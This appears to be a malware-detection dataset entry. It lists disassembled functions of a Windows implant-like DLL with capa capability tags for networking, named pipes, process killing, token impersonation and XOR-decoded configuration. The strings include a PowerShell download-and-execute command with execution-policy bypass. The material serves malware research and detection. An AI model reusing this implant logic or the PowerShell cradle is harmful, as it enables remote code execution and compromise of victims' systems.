joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100068bd
Capabilities:
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1002d010]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
inc esi
push edi
mov dword [ebp - 0x18], esi
call fcn.100022bd
push 0
push esi
push 2
call sub.WS2_32.dll_socket
mov esi, eax
or edi, 0xffffffff
cmp esi, edi
jne 0x100068f1
mov eax, edi
jmp 0x10006945
push 2
pop eax
push dword [ebp + 8]
mov word [ebp - 0x14], ax
call sub.WS2_32.dll_htons
and dword [ebp - 0x10], 0
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x18]
push eax
push 0x8004667e
push esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, edi
jne 0x10006924
push esi
call sub.WS2_32.dll_closesocket
jmp 0x100068ed
push 0x10
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, edi
je 0x1000691c
push dword [ebp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, edi
je 0x1000691c
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1001436d
leave
ret

Function at 0x100069a7
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
mov eax, dword [0x1002d010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov eax, dword [esi]
push edi
xor ebx, ebx
inc ebx
push eax
mov edi, edx
mov dword [ebp - 0x420], ebx
add esi, 4
mov dword [ebp - 0x41c], eax
call sub.WS2_32.dll_ntohl
mov dword [ebp - 0x428], eax
movzx eax, word [esi]
inc esi
push eax
inc esi
sub edi, 6
call sub.WS2_32.dll_ntohs
movzx eax, ax
mov dword [ebp - 0x424], eax
mov eax, 0x3ff
cmp edi, eax
jl 0x10006a03
mov edi, eax
push edi
lea eax, [ebp - 0x408]
push esi
push eax
call fcn.10015df0
add esp, 0xc
mov byte [ebp + edi - 0x408], 0
call fcn.100022bd
push 0
push ebx
push 2
call sub.WS2_32.dll_socket
mov esi, eax
or edi, 0xffffffff
cmp esi, edi
jne 0x10006a52
push edi
call sub.WS2_32.dll_closesocket
push 4
lea eax, [ebp - 0x41c]
push 4
push eax
call section..text
add esp, 0xc
jmp 0x10006ade
lea eax, [ebp - 0x408]
push eax
call sub.WS2_32.dll_gethostbyname
test eax, eax
jne 0x10006a65
push esi
jmp 0x10006a35
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0x414]
push eax
call fcn.10015df0
add esp, 0xc
push 2
pop eax
push dword [ebp - 0x424]
mov word [ebp - 0x418], ax
call sub.WS2_32.dll_htons
mov word [ebp - 0x416], ax
lea eax, [ebp - 0x420]
push eax
push 0x8004667e
push esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, edi
je 0x10006a62
push 0x10
lea eax, [ebp - 0x418]
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, edi
jne 0x10006ad1
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10006a62
mov ebx, dword [ebp - 0x428]
push esi
call fcn.100068a2
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001436d
leave
ret
Function at 0x10006aed
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov ebx, eax
add ebx, 0x7530
and dword [ebp - 8], 0
mov dword [ebp - 4], 0x64
jmp 0x10006ba5
mov eax, dword [edi + 0x1c]
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x10c], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x218]
push eax
xor ecx, ecx
inc ecx
push 0
push 0
mov dword [ebp - 0x218], ecx
mov dword [ebp - 0x110], ecx
call dword [sym.imp.WS2_32.dll_select]
lea eax, [ebp - 0x110]
push eax
push dword [edi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x10006baf
lea eax, [ebp - 0x218]
push eax
push dword [edi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x10006ba5
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 0x1c]
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
jne 0x10006baf
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10006baf
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
cmp eax, ebx
jb 0x10006b18
pop esi
pop ebx
leave
ret
Function at 0x10006c38
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x33c
push ebx
push esi
mov esi, dword [0x10039880]
xor ebx, ebx
push edi
mov dword [ebp - 8], esi
mov dword [ebp - 4], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], 0x64
cmp esi, ebx
je 0x10006e21
jmp 0x10006c69
mov esi, dword [ebp - 8]
cmp dword [esi + 4], 2
jne 0x10006e13
push dword [esi]
call sub.WS2_32.dll_htonl
mov dword [ebp - 4], eax
mov dword [ebp - 0x338], ebx
mov dword [ebp - 0x230], ebx
mov dword [ebp - 0x128], ebx
mov eax, dword [esi + 0x1c]
mov dword [ebp - 0x334], eax
xor edi, edi
inc edi
mov dword [ebp - 0x338], edi
mov eax, dword [esi + 0x1c]
mov dword [ebp - 0x22c], eax
mov dword [ebp - 0x230], edi
mov eax, dword [esi + 0x1c]
mov dword [ebp - 0x124], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x338]
push eax
lea eax, [ebp - 0x128]
push eax
push ebx
mov dword [ebp - 0x128], edi
call dword [sym.imp.WS2_32.dll_select]
cmp dword [esi + 0x10], 2
jne 0x10006d77
lea eax, [ebp - 0x128]
push eax
push dword [esi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x10006e13
push ebx
push ebx
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_accept]
mov ecx, eax
call fcn.10006c22
push edi
push ebx
push ebx
push LocalFree
push ecx
mov ebx, eax
mov dword [ebp - 4], eax
call fcn.10006841
add edi, 0x7f
lea esi, [ebp - 0x18]
call fcn.10001b16
push dword [ebp - 4]
mov eax, esi
push eax
call fcn.10001b35
mov eax, dword [ebp - 8]
push dword [eax + 0x14]
mov eax, esi
push eax
call fcn.10001b35
add esp, 0x24
push 0x17
mov eax, esi
call fcn.10001bd3
push eax
mov eax, esi
call fcn.10001bd0
push eax
call section..text
add esp, 0xc
mov eax, esi
call fcn.10001bb7
mov esi, dword [ebp - 8]
xor ebx, ebx
jmp 0x10006e13
lea eax, [ebp - 0x230]
push eax
push dword [esi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x10006e00
lea eax, [ebp - 0x338]
push eax
push dword [esi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x10006da4
mov dword [esi + 4], edi
push 6
jmp 0x10006e05
lea eax, [ebp - 0x128]
push eax
push dword [esi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x10006df2
mov eax, dword [esi + 0x1c]
push ebx
push ebx
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.WS2_32.dll_accept]
mov dword [esi + 0x1c], eax
cmp eax, 0xffffffff
lea eax, [ebp - 4]
jne 0x10006dd8
mov dword [esi + 4], ebx
push 4
jmp 0x10006ddd
mov dword [esi + 4], edi
push 6
push 4
push eax
call section..text
add esp, 0xc
push dword [ebp - 8]
call sub.WS2_32.dll_closesocket
jmp 0x10006e13
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esi + 0x18]
cmp eax, dword [esi + 8]
jbe 0x10006e13
push 4
mov dword [esi + 4], ebx
lea eax, [ebp - 4]
push 4
push eax
call section..text
add esp, 0xc
mov eax, dword [esi + 0x20]
mov dword [ebp - 8], eax
cmp eax, ebx
jne 0x10006c66
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10006e26
Capabilities:
Check for time delay via gettickcount

Disassembly:
push esi
mov esi, dword [0x10039880]
push edi
xor edi, edi
test esi, esi
je 0x10006eac
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, dword [esi + 4]
test eax, eax
jne 0x10006e4c
cmp dword [esi + 0xc], eax
jne 0x10006e57
call ebx
mov dword [esi + 0xc], eax
mov edi, esi
mov esi, dword [esi + 0x20]
test esi, esi
jne 0x10006e3b
jmp 0x10006eab
test eax, eax
jne 0x10006e4c
call ebx
sub eax, dword [esi + 0xc]
cmp eax, 0x3e8
jbe 0x10006e4c
cmp dword [esi + 0x10], 0
jne 0x10006e78
push 2
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [esi + 0x1c]
call sub.WS2_32.dll_closesocket
test eax, eax
je 0x10006e8a
cmp dword [esi + 0x10], 2
je 0x10006e4c
mov eax, dword [esi + 0x20]
push esi
test edi, edi
je 0x10006ea0
mov dword [edi + 0x20], eax
call fcn.1001437c
mov esi, dword [edi + 0x20]
pop ecx
jmp 0x10006e51
mov dword [0x10039880], eax
call fcn.1001437c
pop ecx
pop ebx
pop edi
pop esi
ret

Function at 0x10006eaf
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
push esi
mov esi, dword [0x10039880]
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
cmp dword [0x10039884], ebx
jne 0x10006f7c
push 0x100000
call fcn.10014459
pop ecx
mov dword [0x10039884], eax
jmp 0x10006f7c
cmp dword [esi + 4], 1
jne 0x10006f79
push dword [esi]
call sub.WS2_32.dll_htonl
mov ecx, dword [0x10039884]
mov dword [ecx], eax
lea eax, [ebp - 4]
push eax
push 0x4004667f
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp dword [ebp - 4], 0xffffc
jbe 0x10006f20
mov dword [ebp - 4], 0xffffc
cmp eax, 0xffffffff
je 0x10006f44
cmp dword [ebp - 4], ebx
jbe 0x10006f79
push dword [ebp - 4]
mov eax, dword [0x10039884]
push dword [esi + 0x1c]
add eax, 4
call fcn.100067f5
pop ecx
pop ecx
cmp eax, 0xffffffff
jne 0x10006f5b
push 4
push 4
push dword [0x10039884]
mov dword [esi + 4], ebx
call section..text
add esp, 0xc
jmp 0x10006f79
mov ecx, dword [ebp - 4]
cmp eax, ecx
jne 0x10006f79
push 5
add ecx, 4
push ecx
push dword [0x10039884]
call section..text
add esp, 0xc
inc dword [ebp - 8]
mov esi, dword [esi + 0x20]
cmp esi, ebx
jne 0x10006ee5
mov eax, dword [ebp - 8]
pop esi
pop ebx
leave
ret
Function at 0x1000713d
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
push ebx
push esi
push edi
push 0x20000
call fcn.100066ac
mov edx, eax
mov ebx, 0x8000
pop ecx
mov esi, ebx
mov dword [ebp - 0x14], edx
call fcn.1000674e
mov dword [ebp - 0xc], eax
call fcn.1000674e
mov esi, 0x10000
mov dword [ebp - 4], eax
call fcn.1000674e
cmp dword [ebp + 0xc], 0x2aaa
mov dword [ebp - 8], eax
jle 0x1000719a
push dword [ebp + 0xc]
push str.Command_length___d__too_long
call fcn.10001093
pop ecx
pop ecx
jmp 0x10007315
push 0x44
pop edi
push edi
xor esi, esi
lea eax, [ebp - 0x80]
push esi
push eax
call fcn.10017a30
mov dword [ebp - 0x80], edi
xor eax, eax
lea edi, [ebp - 0x38]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
push 0x100000
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], 0xc
mov dword [ebp - 0x20], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov ecx, dword [ebp + 0xc]
xor eax, eax
mov word [ebp - 0x50], ax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x54], 0x101
mov dword [ebp - 0x48], esi
mov byte [eax + ecx], 0
cmp dword [0x1003988c], esi
je 0x10007268
call fcn.10014947
cdq
mov ecx, 0xea60
idiv ecx
mov edi, dword [0x1003988c]
mov eax, edi
lea ecx, [eax + 1]
add edx, 0x800
movzx esi, dx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10007237
sub eax, ecx
push eax
push edi
push esi
call fcn.1000932f
mov edi, dword [ebp - 4]
add esp, 0xc
push dword [ebp + 8]
movzx eax, si
push eax
push str.IEX__New_Object_Net.Webclient_.DownloadString_http:__127.0.0.1:_u_____s
push ebx
push edi
call fcn.10014523
add esp, 0x14
xor esi, esi
jmp 0x1000727d
push eax
push 0x1002955c
push ebx
push dword [ebp - 4]
call fcn.10014523
mov edi, dword [ebp - 4]
add esp, 0x10
push ebx
push edi
push dword [ebp - 8]
call fcn.10014f4e
add esp, 0xc
lea ecx, [ebp + 0xc]
push ecx
add eax, eax
push edi
push eax
mov eax, dword [ebp - 8]
mov dword [ebp + 0xc], ebx
call fcn.100095a9
mov eax, dword [ebp + 0xc]
add esp, 0xc
push edi
push str.powershell__nop__exec_bypass__EncodedCommand___s_
push ebx
push dword [ebp - 0xc]
mov byte [eax + edi], 0
call fcn.10014523
lea eax, [ebp - 0x18]
push eax
call fcn.10004f53
add esp, 0x14
push esi
push 0x10
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 0xc]
lea ecx, [ebp - 0x80]
call fcn.100034f7
push dword [ebp - 0x18]
mov edi, eax
call fcn.10004f78
add esp, 0x14
cmp edi, esi
je 0x1000730d
push 0x2710
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x10]
lea esi, [ebp - 0x38]
push dword [ebp - 0x1c]
sub esp, 0x10
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.10005896
add esp, 0x18
mov esi, dword [ebp - 0x14]
call fcn.100066ee
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10007a89
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 0x14], 0
push esi
push edi
push dword [ebp + 8]
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
call fcn.10006700
pop ecx
mov esi, eax
call fcn.10006711
mov edi, eax
push edi
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10007ad0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x10007ae5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str.Could_not_kill__d:__d_n
call fcn.10001093
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
leave
ret
Function at 0x10007b58
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x95c
mov eax, dword [0x1002d010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x7ff
lea eax, [ebp - 0x807]
push 0
push eax
mov byte [ebp - 0x808], 0
call fcn.10017a30
mov ecx, dword [ebp + 8]
add esp, 0xc
push dword [ebp + 0xc]
lea eax, [ebp - 0x958]
call fcn.10006700
pop ecx
mov esi, eax
call fcn.10006711
mov edi, 0x8000
lea esi, [ebp - 0x958]
mov dword [ebp - 0x934], eax
call fcn.10001b16
cmp dword [ebp - 0x934], 0
jle 0x10007bd3
push dword [ebp - 0x934]
mov eax, esi
push eax
call fcn.10001b35
pop ecx
pop ecx
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call esi
push eax
call fcn.100048fb
pop ecx
test eax, eax
je 0x10007bf2
mov dword [ebp - 0x938], 0x1002a24c
jmp 0x10007c0f
call fcn.1000b714
mov dword [ebp - 0x938], 0x1002a24c
test eax, eax
jne 0x10007c0f
mov dword [ebp - 0x938], 0x1002a250
lea eax, [ebp - 0x944]
push eax
push 0x28
call esi
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10007c3f
push dword [ebp - 0x944]
call fcn.10004552
pop ecx
push dword [ebp - 0x944]
call ebx
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
mov dword [ebp - 0x940], esi
cmp esi, 0xffffffff
je 0x10007dac
lea eax, [ebp - 0x930]
push eax
push esi
mov dword [ebp - 0x930], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x10007c7c
push esi
call ebx
jmp 0x10007dac
push dword [ebp - 0x928]
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x93c], eax
test eax, eax
jne 0x10007cc4
push dword [ebp - 0x928]
lea eax, [ebp - 0x90c]
push dword [ebp - 0x918]
lea esi, [ebp - 0x958]
push eax
push str._s_t_d_t_d_n
call fcn.10001b7d
add esp, 0x10
jmp 0x10007d48
push eax
lea edi, [ebp - 0x808]
call fcn.10007af0
pop ecx
test eax, eax
jne 0x10007cdb
mov byte [ebp - 0x808], al
lea eax, [ebp - 0x948]
push eax
push dword [ebp - 0x928]
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
jne 0x10007cf9
or dword [ebp - 0x948], 0xffffffff
push dword [ebp - 0x93c]
call fcn.100048fb
test eax, eax
pop ecx
mov eax, 0x1002a250
jne 0x10007d14
mov eax, dword [ebp - 0x938]
push dword [ebp - 0x948]
lea ecx, [ebp - 0x808]
push ecx
push eax
push dword [ebp - 0x928]
lea eax, [ebp - 0x90c]
push dword [ebp - 0x918]
lea esi, [ebp - 0x958]
push eax
push str._s_t_d_t_d_t_s_t_s_t_d_n
call fcn.10001b7d
add esp, 0x1c
push dword [ebp - 0x93c]
call ebx
lea eax, [ebp - 0x930]
push eax
push dword [ebp - 0x940]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10007c7c
push dword [ebp - 0x940]
call ebx
cmp dword [ebp - 0x934], 0
lea eax, [ebp - 0x958]
jne 0x10007d85
push 0x11
jmp 0x10007d87
push 0x16
call fcn.10001bd3
push eax
lea eax, [ebp - 0x958]
call fcn.10001bd0
push eax
call section..text
add esp, 0xc
lea eax, [ebp - 0x958]
call fcn.10001bb7
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001436d
leave
ret
Function at 0x10007df8
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, 0x8000
push ebx
call fcn.10014459
push dword [ebp + 8]
mov edi, eax
push str._s
push ebx
push edi
call fcn.10014523
mov esi, dword [ebp + 0xc]
add esp, 0x14
push esi
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push edi
mov dword [ebp - 4], eax
call fcn.1001437c
cmp dword [ebp - 4], 0xffffffff
pop ecx
je 0x10007eb7
test byte [esi], 0x10
lea eax, [esi + 0x2c]
je 0x10007ebc
push 2
mov edi, 0x1002a27c
mov esi, eax
pop ecx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x10007e9d
mov esi, eax
push 3
mov edi, 0x1002a280
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x10007e9d
push ebx
call fcn.10014459
mov esi, dword [ebp + 0xc]
add esi, 0x2c
push esi
push 0x1002955c
mov edi, eax
push ebx
push edi
call fcn.10014523
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call fcn.10007dbb
push 1
push edi
push dword [ebp + 8]
call dword [ebp + 0x10]
push edi
call fcn.1001437c
add esp, 0x34
mov esi, dword [ebp + 0xc]
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10007e39
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
leave
ret
push 0
push eax
push dword [ebp + 8]
call dword [ebp + 0x10]
add esp, 0xc
jmp 0x10007ea0
Function at 0x1000880c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
push esi
push edi
mov esi, 0x100
push esi
call fcn.10014459
push esi
push 0
push eax
mov dword [0x1003c8e4], eax
call fcn.10017a30
add esp, 0x10
xor eax, eax
xor byte [eax + str.ihihikiiikihiki9ijikimii], 0x69
inc eax
cmp eax, 0x1000
jl 0x10008836
push 0x1000
mov ecx, str.ihihikiiikihiki9ijikimii
lea eax, [esp + 0x14]
call fcn.10006700
pop ecx
jmp 0x100088e8
lea esi, [esp + 0x10]
call fcn.1000672d
movzx ebx, ax
call fcn.1000672d
movsx edi, di
movzx ecx, ax
mov eax, dword [0x1003c8e4]
shl edi, 3
mov dword [esp + 0xc], edi
add edi, eax
movsx eax, bx
dec eax
mov word [edi], bx
je 0x100088d0
dec eax
je 0x100088b7
dec eax
jne 0x100088e8
movsx esi, cx
push esi
call fcn.10014459
pop ecx
push esi
lea edx, [esp + 0x14]
mov dword [edi + 4], eax
call fcn.1000674e
push eax
push dword [edi + 4]
call fcn.10015df0
add esp, 0xc
jmp 0x100088e8
lea esi, [esp + 0x10]
call fcn.10006711
mov ecx, dword [0x1003c8e4]
mov edx, dword [esp + 0xc]
mov dword [edx + ecx + 4], eax
jmp 0x100088e8
lea esi, [esp + 0x10]
call fcn.1000672d
mov ecx, dword [0x1003c8e4]
mov edx, dword [esp + 0xc]
mov word [edx + ecx + 4], ax
lea esi, [esp + 0x10]
call fcn.1000672d
movzx edi, ax
test di, di
jg 0x1000885e
push 0x1000
push 0
push str.ihihikiiikihiki9ijikimii
call fcn.10017a30
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10008918
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov eax, dword [0x1002d010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x3ff
lea eax, [ebp - 0x403]
push ebx
push eax
mov byte [ebp - 0x404], bl
call fcn.10017a30
xor eax, eax
mov dword [ebp - 0x410], ebx
lea edi, [ebp - 0x40c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov byte [ebp - 0x428], bl
lea edi, [ebp - 0x427]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
add esp, 0xc
xor edi, edi
inc edi
push edi
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push ebx
push ebx
push edi
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
lea eax, [ebp - 0x428]
mov dword [ebp - 0x40c], eax
lea eax, [ebp - 0x404]
push eax
push 0x1002a27c
mov dword [ebp - 0x410], 0xc
mov dword [ebp - 0x408], edi
call fcn.10005f34
pop ecx
pop ecx
lea eax, [ebp - 0x410]
push eax
push ebx
mov esi, 0x100000
push esi
push esi
push 0xff
push 6
push 3
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [ebp - 0x414], eax
cmp eax, 0xffffffff
jne 0x10008a06
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.could_not_create_pipe:__d
call fcn.10001093
pop ecx
xor eax, eax
jmp 0x10008a2e
push esi
call fcn.10014459
mov dword [0x10039898], eax
mov eax, dword [ebp - 0x414]
mov dword [0x1002e018], eax
mov dword [0x1003989c], ebx
mov dword [0x1002f2ac], 2
mov eax, edi
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001436d
leave
ret

Function at 0x10008a80
Capabilities:
Connect pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x1002d010]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x1003cd08]
push dword [0x1003c904]
mov dword [ebp - 0x40c], eax
lea eax, [ebp - 0x408]
push 0x1003c908
push eax
call fcn.10015df0
add esp, 0xc
push 0
push dword [0x1002e018]
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x10008adc
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub eax, 0x217
neg eax
sbb eax, eax
inc eax
je 0x10008ab8
mov eax, dword [0x1003c904]
add eax, 4
push eax
lea eax, [ebp - 0x40c]
push eax
push dword [0x1002e018]
call fcn.10005fff
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0xc
call fcn.1001436d
leave
ret
Function at 0x1000903a
Capabilities:
Impersonate user

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, eax
call fcn.10008cf9
push 0x100398a4
push 3
push 9
push dword [ebp + 0xc]
push dword [ebp + 8]
push edi
call dword [sym.imp.ADVAPI32.dll_LogonUserA]
test eax, eax
jne 0x10009074
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Could_not_create_token:__d
call fcn.10001093
pop ecx
pop ecx
jmp 0x100090c0
push dword [0x100398a4]
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x10009092
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_impersonate_token:__d
jmp 0x1000906b
push 0x400
push dword [0x100398a4]
call fcn.10008d16
pop ecx
pop ecx
test eax, eax
je 0x100090c0
mov eax, edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100090ad
sub eax, ecx
push 0xf
push eax
push edi
call dword [ebp + 0x10]
add esp, 0xc
pop edi
pop ebp
ret

Function at 0x10009159
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x1002d010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0xc]
push eax
mov byte [ebp - 0xc], bl
mov byte [ebp - 0xb], bl
mov byte [ebp - 0xa], bl
mov byte [ebp - 9], bl
mov byte [ebp - 8], bl
mov byte [ebp - 7], 5
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x100091c1
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x100091b8
mov dword [ebp - 0x10], ebx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
xor ecx, ebp
pop ebx
call fcn.1001436d
leave
ret

Function at 0x10009219
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
push 0
push 1
lea eax, [esi + edi]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10009256
test eax, eax
jbe 0x10009256
add esi, eax
cmp esi, 2
jb 0x1000924e
cmp byte [esi + edi - 1], 0xa
jne 0x1000924e
cmp byte [esi + edi - 2], 0xd
je 0x1000925c
cmp esi, 0x800
jb 0x1000921f
or eax, 0xffffffff
pop esi
pop ebp
ret
mov byte [esi + edi - 2], 0
mov eax, esi
jmp 0x10009259